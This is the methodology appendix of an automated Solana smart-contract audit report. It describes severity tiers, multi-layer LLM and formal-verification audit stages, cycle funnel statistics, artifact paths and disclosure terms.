A — SEVERITY RUBRIC

TIER	DEFINITION
CRITICAL	Direct loss of user funds or full protocol takeover with no meaningful preconditions. Reachable from a permissionless instruction by any signer. Must be patched immediately.
HIGH	Significant loss of user funds or protocol invariant violation under realistic preconditions (specific market state, signer with limited but obtainable role). Patch should ship in next release.
MEDIUM	Hardening issue, partial loss possible, or invariant violation requiring privileged signer or improbable state. Worth fixing in normal cadence.
LOW	Minor issue with no plausible path to fund loss. Code-quality or defense-in-depth concern.
INFO	Informational. No security impact. Documentation or style suggestion.

Layer overview

LAYER	FUNCTION
`Layer 1`	Multi-agent recon. For each hypothesis, parallel LLM agents read the engine source and return a TRUE / FALSE / NEEDS_LAYER_2_TO_DECIDE verdict with confidence + per-agent grounding.
`Layer 1.5`	Adversarial debate. Contested verdicts (NEEDS_L2 or split verdicts) are promoted through a single-round attacker / defender debate, with a separate judge resolving the final verdict.
`Layer 2`	Concrete proof-of-concept. An inverted-assertion test is authored in Rust and run via `cargo test`. The test "fires" iff an abort with a custom error code originates in the target module (not stdlib / setup).
`Layer 2.5`	Triage. An LLM judge classifies each fire as `STRONG` (real bug), `SOFT` (wrong invariant), `FALSE` (artifactual abort), or `LOST` (signal missing). STRONG fires are clustered by (engine_function, target_file) so the same code-site bug under multiple hypothesis IDs collapses to one root cause.
`Layer 3`	Symbolic verification. Kani-based bounded model checking. The harness asserts the violated invariant; Kani either finds a counterexample within the bounded depth or proves safety.
`Layer 4`	On-chain BPF reproduction. The Solana program is deployed into LiteSVM and the PoC re-executed through the deployed instructions, confirming the wrapper-side defenses don't catch the bug.
`Layer P3`	Fix-bundle pipeline. The LLM authors a structural patch against the confirmed root cause and verifies it through a 6-gate machine check (well-formed diff, single-function scope, PoC fails pre-patch, PoC passes post-patch, existing tests still pass, and a language-specific symbolic/runtime check — Kani for Solana, Move Prover for Aptos, Halmos for Solidity, CBMC for C, fast-check property testing for TypeScript). Gates auto-skip when the language doesn't apply (the symbolic / runtime gates of one toolchain skip on cycles authored against another, with that language's verdict already reported under Layer 3 / Layer 4); the test-suite gate skips for eval targets that ship without a unified runner. Operator authorization is required before any upstream PR is opened.

Cycle execution

This cycle was produced by Jelleo's continuous, hypothesis-driven Solana audit loop. Every finding originates as a falsifiable invariant claim from a per-protocol hypothesis library, dispatched to Layer 1 multi-agent recon, promoted on contested verdicts via Layer 1.5 adversarial debate, and confirmed empirically through a Layer 2 `cargo test` proof-of-concept. Layer 2.5 triage classifies each fire as `STRONG` / `SOFT` / `FALSE` / `LOST`; only STRONG cluster representatives advance to `confirmed` and appear in §01 above. SOFT and STRONG duplicates land in `triaged`; FALSE fires return to `new`. Lifecycle: `new → triaged → confirmed → disclosed → fixed → verified`. Every cycle is signed Ed25519 against the platform key — see the cover-page receipt.

HYPOTHESES		POC FIRES		STRONG		ROOT CAUSES		CONFIRMED
137	→	**4**	→	**10**	→	**10**	→	**10**
from class library		4 fires triaged		STRONG 4 · SOFT 0 · FALSE 0 · LOST 0 (+ 6 promoted on bundle-verifier evidence)		10 STRONG → 10 after curation		reach this report

NON-FIRE ACCOUNTING 6 hypotheses were tested but the PoC did not fire — 6× `confirmed`. These are hypotheses where Layer 1 / Layer 1.5 returned a verdict but the Layer 2 PoC author either declined to produce a test (no plausible attack) or the test ran without an abort in the target module.

§ B.1 — Cycle funnel. Hypotheses tested → PoC fires → Layer 2.5 judge filters out artifactual / mis-invariant fires → surviving STRONG fires cluster by code site → cluster representatives become published findings.

C — AUDIT ARTIFACTS

All cycle artifacts are persisted on disk and verifiable independently of this report. The table below lists the canonical paths under the cycle workspace so a reviewer can re-execute every layer or recompute the cycle Merkle root.

ARTIFACT	PATH (RELATIVE TO WORKSPACE)
Cycle summary (manifest of every step)	`hunts/<cycle>/hunt_summary.json`
Per-step event log	`hunts/<cycle>/hunt.log.jsonl` (absent in this cycle)
Layer 2.5 triage verdicts	`hunts/<cycle>/triage.jsonl`
Layer 2 PoC sources (Rust)	`hunts/<cycle>/poc/test_<slug>.rs`
Layer 2 PoC run logs	`hunts/<cycle>/poc/cargo_<slug>.log`
Layer 3 Kani harnesses + verdicts	`hunts/<cycle>/kani/<slug>/`
Layer 4 LiteSVM exploit tests	`hunts/<cycle>/litesvm/<slug>/`
Layer P3 fix bundles (patch.diff + evidence/ + manifest.json)	`hunts/<cycle>/bundles/<finding_id>/`
Narrative writeups (per finding)	`hunts/<cycle>/narratives/<hyp_id>.md`
Cycle Merkle root (tamper-evidence)	`hunts/<cycle>/merkle.json` (absent in this cycle)
Findings DB (SQLite)	`findings.db`
Ed25519 public key for receipt verification	`https://jelleo.com/keys/jelleo.ed25519.pub`

D — DISCLAIMERS

Findings in this report reflect the state of the engine source at the commit hash on the cover page. Subsequent changes to the codebase are not analyzed. The report is not a guarantee of code correctness or security: it documents invariants that fired (or held) under the hypothesis library applied during this cycle. Out-of-scope items are listed in §00.1 (Scope).

§03 reflects bundle-level state. A row is treated as a confirmed finding when the bundle's machine verification gates (PoC fails pre-patch + PoC passes post-patch + tests still pass) all hold, even if the Layer 2.5 LLM judge initially classified the fire as `SOFT` / `FALSE` / `LOST` — the verifier's empirical patch-defuses-bug evidence supersedes the judge. Rows that did not reach a confirmed lifecycle state are retained in §03 as audit-trail evidence but are not published findings; the authoritative set is whatever appears in §01.

Communication channel: security@jelleo.com (PGP key on jelleo.com/security.html). Coordinated disclosure follows the timeline published in our security policy; pre-disclosure leak protections are enforced at the report level (the `--public` renderer suppresses confirmed-but-not-disclosed findings).

Methodology spec: docs/methodology/ · Live reference: jelleo.com/methodology.html · Source: github.com/Copenhagen0x/audit-pipeline-cli

---